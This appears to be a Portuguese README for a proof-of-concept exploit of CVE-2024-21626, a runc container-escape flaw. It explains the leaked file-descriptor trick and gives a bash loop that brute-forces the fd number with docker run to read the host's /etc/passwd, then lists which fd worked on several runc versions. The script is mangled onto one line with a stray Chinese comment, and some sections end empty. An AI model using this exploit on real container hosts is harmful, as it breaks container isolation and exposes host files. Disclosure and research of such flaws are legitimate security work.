
CVE-2024-21626-poc-research-Reappearance-andtodo
Exploração:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
Verificação: se for possível obter o /etc/passwd do host, a vulnerabilidade está presente
Ambiente: runc: >=v1.0.0-rc93,<=1.1.11
Princípio do ataque: Nas versões afetadas do runc, parte dos descritores de arquivo internos é vazada durante o processo de inicialização, incluindo um handle para o /sys/fs/cgroup do host. Além disso, o runc não valida se o diretório de trabalho final está no namespace de montagem do contêiner. O atacante pode modificar a configuração de process.cwd para /proc/self/fd/7 ou substituir o caminho específico passado no parâmetro --cwd ao chamar runc exec no host por um link simbólico para /proc/self/fd/7/, permitindo que os processos no contêiner acessem e manipulem o sistema de arquivos do host, contornando assim o mecanismo de isolamento do contêiner. Mais detalhes (imagens gif):

CVE: CVE - CVE-2024-21626 (mitre.org)
Descobridor desta vulnerabilidade: CVE-2024-21626 runc process.cwd e fds vazados — escape de contêiner | Snyk (snyk.io)

Na prática, o fd pode mudar de acordo com a ordem de abertura dos arquivos. Você pode usar o script abaixo para fazer brute force:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Teste local bem-sucedido:
fd/9 funcionou com runc-version: 1.1.10 e 1.1.2

Quando runc --version é 1.0.0:

Quando runc --version é 1.1.4: fd/8 funcionou

A vulnerabilidade acabou de ser divulgada hoje. A seguir, mais detalhes:
Pode ser reproduzida das seguintes formas:
todo: Obter o fd com breakpoints no runc para facilitar a automação